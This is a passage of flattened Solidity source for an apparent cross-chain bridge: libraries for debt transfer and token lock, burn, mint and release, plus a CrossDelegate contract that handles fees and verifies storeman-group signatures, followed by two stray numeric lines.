uint(10*60); enum GroupStatus { none, initial, curveSeted, failed, selected, ready, unregistered, dismissed } } pragma solidity ^0.4.26; library HTLCDebtLib { struct DebtAssetParams { bytes32 uniqueID; bytes32 srcSmgID; bytes32 destSmgID; } event TransferAssetLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID); event ReceiveDebtLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID); function transferAsset(CrossTypes.Data storage storageData, DebtAssetParams memory params) public { storageData.quota.transferAsset(params.srcSmgID, params.destSmgID); emit TransferAssetLogger(params.uniqueID, params.srcSmgID, params.destSmgID); } function receiveDebt(CrossTypes.Data storage storageData, DebtAssetParams memory params) public { storageData.quota.receiveDebt(params.srcSmgID, params.destSmgID); emit ReceiveDebtLogger(params.uniqueID, params.srcSmgID, params.destSmgID); } } pragma solidity 0.4.26; interface ISmgFeeProxy { function smgTransfer(bytes32 smgID) external payable; } pragma solidity ^0.4.26; library RapidityLib { using SafeMath for uint; using RapidityTxLib for RapidityTxLib.Data; struct RapidityUserLockParams { bytes32 smgID; uint tokenPairID; uint value; bytes userShadowAccount; } struct RapiditySmgMintParams { bytes32 uniqueID; bytes32 smgID; uint tokenPairID; uint value; address shadowTokenAccount; address userShadowAccount; } struct RapidityUserBurnParams { bytes32 smgID; uint tokenPairID; uint value; uint fee; address shadowTokenAccount; bytes userOrigAccount; } struct RapiditySmgReleaseParams { bytes32 uniqueID; bytes32 smgID; uint tokenPairID; uint value; address origTokenAccount; address userOrigAccount; } event UserLockLogger(bytes32 indexed smgID, uint indexed tokenPairID, address indexed tokenAccount, uint value, uint serviceFee, bytes userAccount); event UserBurnLogger(bytes32 indexed smgID, uint indexed tokenPairID, address indexed tokenAccount, uint value, uint serviceFee, uint fee, bytes userAccount); event SmgMintLogger(bytes32 indexed uniqueID, bytes32 indexed smgID, uint indexed tokenPairID, uint value, address tokenAccount, address userAccount); event SmgReleaseLogger(bytes32 indexed uniqueID, bytes32 indexed smgID, uint indexed tokenPairID, uint value, address tokenAccount, address userAccount); function userLock(CrossTypes.Data storage storageData, RapidityUserLockParams memory params) public { uint fromChainID; uint toChainID; bytes memory fromTokenAccount; (fromChainID,fromTokenAccount,toChainID) = storageData.tokenManager.getTokenPairInfoSlim(params.tokenPairID); require(fromChainID != 0, "Token does not exist"); uint serviceFee = storageData.mapLockFee[fromChainID][toChainID]; storageData.quota.userLock(params.tokenPairID, params.smgID, params.value); if (serviceFee > 0) { if (storageData.smgFeeProxy == address(0)) { storageData.mapStoremanFee[params.smgID] = storageData.mapStoremanFee[params.smgID].add(serviceFee); } else { ISmgFeeProxy(storageData.smgFeeProxy).smgTransfer.value(serviceFee)(params.smgID); } } address tokenScAddr = CrossTypes.bytesToAddress(fromTokenAccount); uint left; if (tokenScAddr == address(0)) { left = (msg.value).sub(params.value).sub(serviceFee); } else { left = (msg.value).sub(serviceFee); require(CrossTypes.transferFrom(tokenScAddr, msg.sender, this, params.value), "Lock token failed"); } if (left != 0) { (msg.sender).transfer(left); } emit UserLockLogger(params.smgID, params.tokenPairID, tokenScAddr, params.value, serviceFee, params.userShadowAccount); } function userBurn(CrossTypes.Data storage storageData, RapidityUserBurnParams memory params) public { ITokenManager tokenManager = storageData.tokenManager; uint fromChainID; uint toChainID; bytes memory fromTokenAccount; bytes memory toTokenAccount; (fromChainID,fromTokenAccount,toChainID,toTokenAccount) = tokenManager.getTokenPairInfo(params.tokenPairID); require(fromChainID != 0, "Token does not exist"); address tokenScAddr = CrossTypes.bytesToAddress(toTokenAccount); uint serviceFee; if (tokenScAddr == params.shadowTokenAccount) { serviceFee = storageData.mapLockFee[fromChainID][toChainID]; } else { tokenScAddr = CrossTypes.bytesToAddress(fromTokenAccount); if (tokenScAddr == params.shadowTokenAccount) { serviceFee = storageData.mapLockFee[toChainID][fromChainID]; } else { require(false, "Invalid Token account"); } } storageData.quota.userBurn(params.tokenPairID, params.smgID, params.value); tokenManager.burnToken(params.shadowTokenAccount, msg.sender, params.value); if (serviceFee > 0) { if (storageData.smgFeeProxy == address(0)) { storageData.mapStoremanFee[params.smgID] = storageData.mapStoremanFee[params.smgID].add(serviceFee); } else { ISmgFeeProxy(storageData.smgFeeProxy).smgTransfer.value(serviceFee)(params.smgID); } } uint left = (msg.value).sub(serviceFee); if (left != 0) { (msg.sender).transfer(left); } emit UserBurnLogger(params.smgID, params.tokenPairID, params.shadowTokenAccount, params.value, serviceFee, params.fee, params.userOrigAccount); } function smgMint(CrossTypes.Data storage storageData, RapiditySmgMintParams memory params) public { storageData.rapidityTxData.addRapidityTx(params.uniqueID); storageData.quota.smgMint(params.tokenPairID, params.smgID, params.value); storageData.tokenManager.mintToken(params.shadowTokenAccount, params.userShadowAccount, params.value); emit SmgMintLogger(params.uniqueID, params.smgID, params.tokenPairID, params.value, params.shadowTokenAccount, params.userShadowAccount); } function smgRelease(CrossTypes.Data storage storageData, RapiditySmgReleaseParams memory params) public { storageData.rapidityTxData.addRapidityTx(params.uniqueID); storageData.quota.smgRelease(params.tokenPairID, params.smgID, params.value); if (params.origTokenAccount == address(0)) { (params.userOrigAccount).transfer(params.value); } else { require(CrossTypes.transfer(params.origTokenAccount, params.userOrigAccount, params.value), "Transfer token failed"); } emit SmgReleaseLogger(params.uniqueID, params.smgID, params.tokenPairID, params.value, params.origTokenAccount, params.userOrigAccount); } } pragma solidity ^0.4.26; contract CrossDelegate is CrossStorage, ReentrancyGuard, Halt { using SafeMath for uint; event SmgWithdrawFeeLogger(bytes32 indexed smgID, uint timeStamp, address indexed receiver, uint fee); modifier onlyReadySmg(bytes32 smgID) { uint8 status; uint startTime; uint endTime; (status,startTime,endTime) = storageData.smgAdminProxy.getStoremanGroupStatus(smgID); require(status == uint8(GroupStatus.ready) && now >= startTime && now <= endTime, "PK is not ready"); _; } function acquireReadySmgInfo(bytes32 smgID) private view returns (uint curveID, bytes memory PK) { uint8 status; uint startTime; uint endTime; (,status,,,,curveID,,PK,,startTime,endTime) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID); require(status == uint8(GroupStatus.ready) && now >= startTime && now <= endTime, "PK is not ready"); return (curveID, PK); } function acquireUnregisteredSmgInfo(bytes32 smgID) private view returns (uint curveID, bytes memory PK) { uint8 status; (,status,,,,curveID,,PK,,,) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID); require(status == uint8(GroupStatus.unregistered), "PK is not unregistered"); } function userLock(bytes32 smgID, uint tokenPairID, uint value, bytes userAccount) external payable notHalted onlyReadySmg(smgID) { RapidityLib.RapidityUserLockParams memory params = RapidityLib.RapidityUserLockParams({ smgID: smgID, tokenPairID: tokenPairID, value: value, userShadowAccount: userAccount }); RapidityLib.userLock(storageData, params); } function userBurn(bytes32 smgID, uint tokenPairID, uint value, uint fee, address tokenAccount, bytes userAccount) external payable notHalted onlyReadySmg(smgID) { RapidityLib.RapidityUserBurnParams memory params = RapidityLib.RapidityUserBurnParams({ smgID: smgID, tokenPairID: tokenPairID, value: value, fee: fee, shadowTokenAccount: tokenAccount, userOrigAccount: userAccount }); RapidityLib.userBurn(storageData, params); } function smgMint(bytes32 uniqueID, bytes32 smgID, uint tokenPairID, uint value, address tokenAccount, address userAccount, bytes r, bytes32 s) external notHalted { uint curveID; bytes memory PK; (curveID, PK) = acquireReadySmgInfo(smgID); RapidityLib.RapiditySmgMintParams memory params = RapidityLib.RapiditySmgMintParams({ uniqueID: uniqueID, smgID: smgID, tokenPairID: tokenPairID, value: value, shadowTokenAccount: tokenAccount, userShadowAccount: userAccount }); RapidityLib.smgMint(storageData, params); bytes32 mHash = sha256(abi.encode(uniqueID, tokenPairID, value, tokenAccount, userAccount)); verifySignature(curveID, mHash, PK, r, s); } function smgRelease(bytes32 uniqueID, bytes32 smgID, uint tokenPairID, uint value, address tokenAccount, address userAccount, bytes r, bytes32 s) external notHalted { uint curveID; bytes memory PK; (curveID, PK) = acquireReadySmgInfo(smgID); RapidityLib.RapiditySmgReleaseParams memory params = RapidityLib.RapiditySmgReleaseParams({ uniqueID: uniqueID, smgID: smgID, tokenPairID: tokenPairID, value: value, origTokenAccount: tokenAccount, userOrigAccount: userAccount }); RapidityLib.smgRelease(storageData, params); bytes32 mHash = sha256(abi.encode(uniqueID, tokenPairID, value, tokenAccount, userAccount)); verifySignature(curveID, mHash, PK, r, s); } function transferAsset(bytes32 uniqueID, bytes32 srcSmgID, bytes32 destSmgID, bytes r, bytes32 s) external notHalted onlyReadySmg(destSmgID) { uint curveID; bytes memory PK; (curveID, PK) = acquireUnregisteredSmgInfo(srcSmgID); HTLCDebtLib.DebtAssetParams memory params = HTLCDebtLib.DebtAssetParams({ uniqueID: uniqueID, srcSmgID: srcSmgID, destSmgID: destSmgID }); HTLCDebtLib.transferAsset(storageData, params); bytes32 mHash = sha256(abi.encode(uniqueID, destSmgID)); verifySignature(curveID, mHash, PK, r, s); } function receiveDebt(bytes32 uniqueID, bytes32 srcSmgID, bytes32 destSmgID, bytes r, bytes32 s) external notHalted { uint curveID; bytes memory PK; (curveID, PK) = acquireReadySmgInfo(destSmgID); HTLCDebtLib.DebtAssetParams memory params = HTLCDebtLib.DebtAssetParams({ uniqueID: uniqueID, srcSmgID: srcSmgID, destSmgID: destSmgID }); HTLCDebtLib.receiveDebt(storageData, params); bytes32 mHash = sha256(abi.encode(uniqueID, srcSmgID)); verifySignature(curveID, mHash, PK, r, s); } function getStoremanFee(bytes32 smgID) external view returns(uint fee) { fee = storageData.mapStoremanFee[smgID]; } function setFees(uint origChainID, uint shadowChainID, uint lockFee, uint revokeFee) external onlyOwner { storageData.mapLockFee[origChainID][shadowChainID] = lockFee; storageData.mapRevokeFee[origChainID][shadowChainID] = revokeFee; } function getFees(uint origChainID, uint shadowChainID) external view returns(uint lockFee, uint revokeFee) { lockFee = storageData.mapLockFee[origChainID][shadowChainID]; revokeFee = storageData.mapRevokeFee[origChainID][shadowChainID]; } function setLockedTime(uint time) external onlyOwner { lockedTime = time; } function getLeftLockedTime(bytes32 xHash) external view returns (uint leftLockedTime) { leftLockedTime = storageData.htlcTxData.getLeftLockedTime(xHash); } function setPartners(address tokenManager, address smgAdminProxy, address smgFeeProxy, address quota, address sigVerifier) external onlyOwner { require(tokenManager != address(0) && smgAdminProxy != address(0) && quota != address(0) && sigVerifier != address(0), "Parameter is invalid"); storageData.smgAdminProxy = IStoremanGroup(smgAdminProxy); storageData.tokenManager = ITokenManager(tokenManager); storageData.quota = IQuota(quota); storageData.smgFeeProxy = smgFeeProxy; storageData.sigVerifier = ISignatureVerifier(sigVerifier); } function getPartners() external view returns(address tokenManager, address smgAdminProxy, address smgFeeProxy, address quota, address sigVerifier) { tokenManager = address(storageData.tokenManager); smgAdminProxy = address(storageData.smgAdminProxy); smgFeeProxy = storageData.smgFeeProxy; quota = address(storageData.quota); sigVerifier = address(storageData.sigVerifier); } function setWithdrawFeeTimeout(uint timeout) external onlyOwner { smgFeeReceiverTimeout = timeout; } function smgWithdrawFee(bytes32 smgID, uint timeStamp, address receiver, bytes r, bytes32 s) external nonReentrant { require(now < timeStamp.add(smgFeeReceiverTimeout), "The receiver address expired"); uint fee = storageData.mapStoremanFee[smgID]; require(fee > 0, "Fee is null"); delete storageData.mapStoremanFee[smgID]; receiver.transfer(fee); uint curveID; bytes memory PK; (,,,,,curveID,,PK,,,) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID); verifySignature(curveID, sha256(abi.encode(timeStamp, receiver)), PK, r, s); emit SmgWithdrawFeeLogger(smgID, now, receiver, fee); } function bytesToBytes32(bytes memory b, uint offset) private pure returns (bytes32 result) { assembly { result := mload(add(add(b, offset), 32)) } } function verifySignature(uint curveID, bytes32 message, bytes PK, bytes r, bytes32 s) private { bytes32 PKx = bytesToBytes32(PK, 0); bytes32 PKy = bytesToBytes32(PK, 32); bytes32 Rx = bytesToBytes32(r, 0); bytes32 Ry = bytesToBytes32(r, 32); require(storageData.sigVerifier.verify(curveID, s, PKx, PKy, Rx, Ry, message), "Signature verification failed"); } }
0
1,228